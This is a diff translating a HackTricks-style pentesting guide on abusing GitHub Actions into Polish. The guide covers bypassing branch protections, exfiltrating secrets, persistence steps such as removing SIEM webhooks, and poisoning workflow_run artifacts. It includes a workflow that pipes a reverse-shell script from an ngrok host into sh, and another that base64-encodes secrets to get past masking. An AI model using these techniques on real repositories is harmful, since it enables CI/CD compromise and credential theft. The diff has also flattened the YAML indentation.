+- Jeśli masz **dostęp do zapisu w repozytorium, ale nie masz pozwolenia na przesyłanie kodu** z powodu ochrony gałęzi, możesz nadal **utworzyć nową gałąź** i w jej ramach utworzyć **github action, która jest wyzwalana, gdy kod jest przesyłany**. Ponieważ **ochrona gałęzi nie będzie chronić gałęzi, dopóki nie zostanie utworzona**, to pierwsze przesłanie kodu do gałęzi **wykona github action**.
-## Bypass Environments Protections
+## Ominięcie ochron środowisk
-For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
+Aby uzyskać wprowadzenie do [**Środowiska Github sprawdź podstawowe informacje**](basic-github-information.md#git-environments).
-In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
-
-Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
+W przypadku, gdy środowisko może być **dostępne ze wszystkich gałęzi**, **nie jest chronione** i możesz łatwo uzyskać dostęp do sekretów w środowisku. Zauważ, że możesz znaleźć repozytoria, w których **wszystkie gałęzie są chronione** (poprzez określenie ich nazw lub użycie `*`), w tym scenariuszu, **znajdź gałąź, w której możesz przesyłać kod** i możesz **wyeksportować** sekrety, tworząc nową akcję github (lub modyfikując jedną).
+Zauważ, że możesz napotkać przypadek brzegowy, w którym **wszystkie gałęzie są chronione** (poprzez symbol wieloznaczny `*`), określono **kto może przesyłać kod do gałęzi** (_możesz to określić w ochronie gałęzi_), a **twój użytkownik nie ma pozwolenia**. Możesz nadal uruchomić niestandardową akcję github, ponieważ możesz utworzyć gałąź i użyć wyzwalacza przesyłania nad nią. **Ochrona gałęzi zezwala na przesyłanie do nowej gałęzi, więc akcja github zostanie wyzwolona**.
```yaml
push: # Run it when a push is made to a branch
- branches:
- - current_branch_name #Use '**' to run when a push is made to any branch
+branches:
+- current_branch_name #Use '**' to run when a push is made to any branch
```
+Zauważ, że **po utworzeniu** gałęzi **ochrona gałęzi będzie miała zastosowanie do nowej gałęzi** i nie będziesz mógł jej modyfikować, ale w tym czasie już zrzuciłeś sekrety.
-Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
+## Utrzymywanie
-## Persistence
+- Wygeneruj **token użytkownika**
+- Ukradnij **tokeny github** z **sekretów**
+- **Usunięcie** wyników **workflow** i **gałęzi**
+- Przyznaj **więcej uprawnień całej organizacji**
+- Utwórz **webhooki** do eksfiltracji informacji
+- Zaproś **zewnętrznych współpracowników**
+- **Usuń** **webhooki** używane przez **SIEM**
+- Utwórz/modyfikuj **Github Action** z **tylnym wejściem**
+- Znajdź **wrażliwą Github Action do wstrzykiwania poleceń** poprzez modyfikację wartości **sekretu**
-- Generate **user token**
-- Steal **github tokens** from **secrets**
- - **Deletion** of workflow **results** and **branches**
-- Give **more permissions to all the org**
-- Create **webhooks** to exfiltrate information
-- Invite **outside collaborators**
-- **Remove** **webhooks** used by the **SIEM**
-- Create/modify **Github Action** with a **backdoor**
-- Find **vulnerable Github Action to command injection** via **secret** value modification
+### Fałszywe Commity - Tylne wejście przez commity repo
-### Imposter Commits - Backdoor via repo commits
-
-In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
-
-Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
+W Githubie możliwe jest **utworzenie PR do repo z forka**. Nawet jeśli PR **nie zostanie zaakceptowany**, identyfikator **commita** w oryginalnym repo zostanie utworzony dla wersji kodu z forka. Dlatego atakujący **może przypiąć się do użycia konkretnego commita z pozornie legalnego repo, które nie zostało utworzone przez właściciela repo**.
+Jak [**to**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
- commit:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- - shell: bash
- run: |
- echo 'hello world!'
+commit:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
+- shell: bash
+run: |
+echo 'hello world!'
```
-
-For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
+Aby uzyskać więcej informacji, sprawdź [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index c5ce0467b..e231ee5be 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,389 +4,371 @@
## Basic Information
-In this page you will find:
+Na tej stronie znajdziesz:
-- A **summary of all the impacts** of an attacker managing to access a Github Action
-- Different ways to **get access to an action**:
- - Having **permissions** to create the action
- - Abusing **pull request** related triggers
- - Abusing **other external access** techniques
- - **Pivoting** from an already compromised repo
-- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
+- **podsumowanie wszystkich skutków** ataku, gdy napastnik uzyska dostęp do Github Action
+- Różne sposoby na **uzyskanie dostępu do akcji**:
+- Posiadanie **uprawnień** do tworzenia akcji
+- Wykorzystywanie wyzwalaczy związanych z **pull request**
+- Wykorzystywanie **innych technik zewnętrznego dostępu**
+- **Pivoting** z już skompromitowanego repozytorium
+- Na koniec sekcja o **technikach poeksploatacyjnych do wykorzystywania akcji od wewnątrz** (powodujących wspomniane skutki)
## Impacts Summary
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+Aby uzyskać wprowadzenie do [**Github Actions sprawdź podstawowe informacje**](../basic-github-information.md#github-actions).
-If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
+Jeśli możesz **wykonywać dowolny kod w GitHub Actions** w ramach **repozytorium**, możesz być w stanie:
-- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
-- **Compromise deployments** and other **artifacts**.
- - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
-- **Execute code in custom workers** to abuse computing power and pivot to other systems.
-- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
+- **Kraść sekrety** zamontowane w pipeline i **wykorzystywać uprawnienia pipeline** do uzyskania nieautoryzowanego dostępu do zewnętrznych platform, takich jak AWS i GCP.
+- **Kompromitować wdrożenia** i inne **artefakty**.
+- Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmienić końcowy produkt, umożliwiając atak na łańcuch dostaw.
+- **Wykonywać kod w niestandardowych pracownikach** w celu wykorzystania mocy obliczeniowej i pivotowania do innych systemów.
+- **Nadpisywać kod repozytorium**, w zależności od uprawnień związanych z `GITHUB_TOKEN`.
## GITHUB_TOKEN
-This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
+Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) jest przyznawany, gdy administrator włączy tę opcję:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Ten token jest tym samym, który **aplikacja Github będzie używać**, więc może uzyskać dostęp do tych samych punktów końcowych: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github powinien wydać [**przepływ**](https://github.com/github/roadmap/issues/74), który **pozwala na dostęp między repozytoriami** w GitHub, aby repozytorium mogło uzyskać dostęp do innych wewnętrznych repozytoriów za pomocą `GITHUB_TOKEN`.
-You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Możesz zobaczyć możliwe **uprawnienia** tego tokena w: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Note that the token **expires after the job has completed**.\
-These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Zauważ, że token **wygasa po zakończeniu zadania**.\
+Te tokeny wyglądają tak: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
-Some interesting things you can do with this token:
+Kilka interesujących rzeczy, które możesz zrobić z tym tokenem:
{{#tabs }}
{{#tab name="Merge PR" }}
-
```bash
# Merge PR
curl -X PUT \
- https://api.github.com/repos///pulls//merge \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header "content-type: application/json" \
- -d "{\"commit_title\":\"commit_title\"}"
+https://api.github.com/repos///pulls//merge \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header "content-type: application/json" \
+-d "{\"commit_title\":\"commit_title\"}"
```
-
{{#endtab }}
-{{#tab name="Approve PR" }}
-
+{{#tab name="Zatwierdź PR" }}
```bash
# Approve a PR
curl -X POST \
- https://api.github.com/repos///pulls//reviews \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- -d '{"event":"APPROVE"}'
+https://api.github.com/repos///pulls//reviews \
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+-d '{"event":"APPROVE"}'
```
-
{{#endtab }}
-{{#tab name="Create PR" }}
-
+{{#tab name="Utwórz PR" }}
```bash
# Create a PR
curl -X POST \
- -H "Accept: application/vnd.github.v3+json" \
- --header "authorization: Bearer $GITHUB_TOKEN" \
- --header 'content-type: application/json' \
- https://api.github.com/repos///pulls \
- -d '{"head":"","base":"master", "title":"title"}'
+-H "Accept: application/vnd.github.v3+json" \
+--header "authorization: Bearer $GITHUB_TOKEN" \
+--header 'content-type: application/json' \
+https://api.github.com/repos///pulls \
+-d '{"head":"","base":"master", "title":"title"}'
```
-
{{#endtab }}
{{#endtabs }}
-> [!CAUTION]
-> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
+> [!OSTRZEŻENIE]
+> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach**. Te tokeny mogą dać ci więcej uprawnień do repozytorium i organizacji.
-List secrets in Github Action output
-
+Lista sekretów w wyjściu Github Action
```yaml
name: list_env
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- List_env:
- runs-on: ubuntu-latest
- steps:
- - name: List Env
- # Need to base64 encode or github will change the secret value for "***"
- run: sh -c 'env | grep "secret_" | base64 -w0'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+List_env:
+runs-on: ubuntu-latest
+steps:
+- name: List Env
+# Need to base64 encode or github will change the secret value for "***"
+run: sh -c 'env | grep "secret_" | base64 -w0'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-Get reverse shell with secrets
-
+Uzyskaj powłokę odwrotną z sekretami
```yaml
name: revshell
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - "**"
- push: # Run it when a push is made to a branch
- branches:
- - "**"
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- "**"
+push: # Run it when a push is made to a branch
+branches:
+- "**"
jobs:
- create_pull_request:
- runs-on: ubuntu-latest
- steps:
- - name: Get Rev Shell
- run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
- env:
- secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
- secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
+create_pull_request:
+runs-on: ubuntu-latest
+steps:
+- name: Get Rev Shell
+run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
+env:
+secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
+secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
+Możliwe jest sprawdzenie uprawnień nadanych tokenowi Github w repozytoriach innych użytkowników **sprawdzając logi** akcji:
-## Allowed Execution
+## Dozwolone Wykonanie
> [!NOTE]
-> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
+> To byłby najłatwiejszy sposób na kompromitację akcji Github, ponieważ ten przypadek zakłada, że masz dostęp do **utworzenia nowego repozytorium w organizacji** lub masz **uprawnienia do zapisu w repozytorium**.
>
-> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
+> Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić [techniki po eksploatacji](./#post-exploitation-techniques-from-inside-an-action).
-### Execution from Repo Creation
+### Wykonanie z Utworzenia Repozytorium
-In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
+W przypadku, gdy członkowie organizacji mogą **tworzyć nowe repozytoria** i możesz wykonywać akcje github, możesz **utworzyć nowe repozytorium i ukraść sekrety ustawione na poziomie organizacji**.
-### Execution from a New Branch
+### Wykonanie z Nowej Gałęzi
-If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
-
-You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
+Jeśli możesz **utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowaną akcję Github**, możesz ją **zmodyfikować**, **załadować** zawartość, a następnie **wykonać tę akcję z nowej gałęzi**. W ten sposób możesz **wyeksfiltrować sekrety na poziomie repozytorium i organizacji** (ale musisz wiedzieć, jak się nazywają).
+Możesz uczynić zmodyfikowaną akcję wykonalną **ręcznie**, gdy **zostanie utworzony PR** lub gdy **zostanie przesłany jakiś kod** (w zależności od tego, jak głośny chcesz być):
```yaml
on:
- workflow_dispatch: # Launch manually
- pull_request: #Run it when a PR is created to a branch
- branches:
- - master
- push: # Run it when a push is made to a branch
- branches:
- - current_branch_name
+workflow_dispatch: # Launch manually
+pull_request: #Run it when a PR is created to a branch
+branches:
+- master
+push: # Run it when a push is made to a branch
+branches:
+- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
-
---
-## Forked Execution
+## Forkowane Wykonanie
> [!NOTE]
-> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
+> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **wykonanie Github Action z innego repozytorium**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.
### `pull_request`
-The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
+Wyzwalacz workflow **`pull_request`** wykona workflow za każdym razem, gdy otrzymany zostanie pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest **pierwszy raz**, gdy **współpracujesz**, niektórzy **utrzymujący** będą musieli **zatwierdzić** **wykonanie** workflow:
> [!NOTE]
-> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
+> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** współpracowników, możesz przyczynić się do **naprawy ważnego błędu/ortografii**, a następnie wysłać **inne PR-y, aby nadużyć swoich nowych uprawnień `pull_request`**.
>
-> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
+> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunięcie jego konta.~~
-Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Ponadto, domyślnie **zapobiega uprawnieniom do zapisu** i **dostępowi do sekretów** w docelowym repozytorium, jak wspomniano w [**dokumentacji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
-> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
+> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera**, gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
-An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
+Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.
> [!CAUTION]
-> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
+> **Tak, jeśli atakujący zmieni w PR github action, która zostanie wyzwolona, jego Github Action będzie używana, a nie ta z repozytorium źródłowego!**
-As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
+Ponieważ atakujący również kontroluje kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**.
### **`pull_request_target`**
-The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
+Wyzwalacz workflow **`pull_request_target`** ma **uprawnienia do zapisu** w docelowym repozytorium i **dostęp do sekretów** (i nie prosi o pozwolenie).
-Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Zauważ, że wyzwalacz workflow **`pull_request_target`** **działa w kontekście bazowym** i nie w tym podanym przez PR (aby **nie wykonywać nieufnego kodu**). Aby uzyskać więcej informacji na temat `pull_request_target`, [**sprawdź dokumentację**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Ponadto, aby uzyskać więcej informacji na temat tego konkretnego niebezpiecznego użycia, sprawdź ten [**post na blogu githuba**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
-It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
+Może się wydawać, że ponieważ **wykonywany workflow** jest tym zdefiniowanym w **bazie** i **nie w PR**, jest **bezpieczne** używanie **`pull_request_target`**, ale istnieje **kilka przypadków, w których tak nie jest**.
-An this one will have **access to secrets**.
+A ten będzie miał **dostęp do sekretów**.
### `workflow_run`
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
-
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
+Wyzwalacz [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) pozwala na uruchomienie workflow z innego, gdy jest `ukończony`, `zażądany` lub `w trakcie`.
+W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Uruchom testy":
```yaml
on:
- workflow_run:
- workflows: [Run Tests]
- types:
- - completed
+workflow_run:
+workflows: [Run Tests]
+types:
+- completed
```
+Moreover, according to the docs: Workflow uruchomiony przez zdarzenie `workflow_run` ma możliwość **dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał**.
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
-
-This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
-The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
+Tego rodzaju workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może być **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**znaleźć w tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy z nich polega na tym, że **`workflow_run`** wyzwolony workflow pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`\
+Drugi polega na **przekazywaniu** **artefaktu** z **niezaufanego** kodu do workflow **`workflow_run`** i używaniu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**.
### `workflow_call`
TODO
-TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
+TODO: Sprawdź, czy podczas wykonywania z `pull_request` używany/pobierany kod pochodzi z oryginału czy z forka PR
-## Abusing Forked Execution
+## Wykorzystywanie Wykonania Forków
-We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
+Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby sprawić, by workflow githuba został uruchomiony, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane:
-### Untrusted checkout execution
+### Wykonanie niezaufanego checkoutu
-In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
+W przypadku **`pull_request`** workflow będzie wykonywany w **kontekście PR** (więc wykona **złośliwy kod PR**), ale ktoś musi **najpierw to autoryzować** i będzie działał z pewnymi [ograniczeniami](./#pull_request).
-In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
+W przypadku workflow używającego **`pull_request_target` lub `workflow_run`**, który zależy od workflow, który może być wyzwolony z **`pull_request_target` lub `pull_request`**, kod z oryginalnego repozytorium zostanie wykonany, więc **atakujący nie może kontrolować wykonanego kodu**.
> [!CAUTION]
-> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
+> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):
-The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
+Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty budujące i odwołane **pakiety są kontrolowane przez autora PR**.
> [!WARNING]
-> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
+> Github dork do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań, aby były wykonywane bezpiecznie, nawet jeśli akcja jest skonfigurowana niebezpiecznie (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).
-### Context Script Injections
+### Wstrzyknięcia Skryptów w Kontekście
-Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
+Zauważ, że istnieją pewne [**konteksty githuba**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja githuba używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonania dowolnego kodu:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Script Injection**
+### **Wstrzyknięcie Skryptu GITHUB_ENV**
-From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
+Z dokumentacji: Możesz udostępnić **zmienną środowiskową dla wszystkich kolejnych kroków** w zadaniu workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją w pliku środowiskowym **`GITHUB_ENV`**.
-If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
+Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej **zmiennej env**, mógłby wstrzyknąć zmienne env, które mogłyby wykonać kod w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**.
-For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
+Na przykład ([**to**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**to**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej env **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to skompromitować:
-### Vulnerable Third Party Github Actions
+### Podatne Akcje Githuba Trzeciej Strony
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
+Jak wspomniano w [**tym poście na blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ta Akcja Githuba pozwala na dostęp do artefaktów z różnych workflow, a nawet repozytoriów.
-The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
-
-Example of vulnerable workflow:
+Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artefakt jest wyodrębniany w bieżącym katalogu i może nadpisywać pliki, które mogą być później używane lub nawet wykonywane w workflow. Dlatego, jeśli artefakt jest podatny, atakujący mógłby to wykorzystać, aby skompromitować inne workflow ufające artefaktowi.
+Przykład podatnego workflow:
```yaml
on:
- workflow_run:
- workflows: ["some workflow"]
- types:
- - completed
+workflow_run:
+workflows: ["some workflow"]
+types:
+- completed
jobs:
- success:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v2
- - name: download artifact
- uses: dawidd6/action-download-artifact
- with:
- workflow: ${{ github.event.workflow_run.workflow_id }}
- name: artifact
- - run: python ./script.py
- with:
- name: artifact
- path: ./script.py
+success:
+runs-on: ubuntu-latest
+steps:
+- uses: actions/checkout@v2
+- name: download artifact
+uses: dawidd6/action-download-artifact
+with:
+workflow: ${{ github.event.workflow_run.workflow_id }}
+name: artifact
+- run: python ./script.py
+with:
+name: artifact
+path: ./script.py
```
-
-This could be attacked with this workflow:
-
+To można zaatakować za pomocą tego przepływu pracy:
```yaml
name: "some workflow"
on: pull_request
jobs:
- upload:
- runs-on: ubuntu-latest
- steps:
- - run: echo "print('exploited')" > ./script.py
- - uses actions/upload-artifact@v2
- with:
- name: artifact
- path: ./script.py
+upload:
+runs-on: ubuntu-latest
+steps:
+- run: echo "print('exploited')" > ./script.py
+- uses actions/upload-artifact@v2
+with:
+name: artifact
+path: ./script.py
```
-
---
-## Other External Access
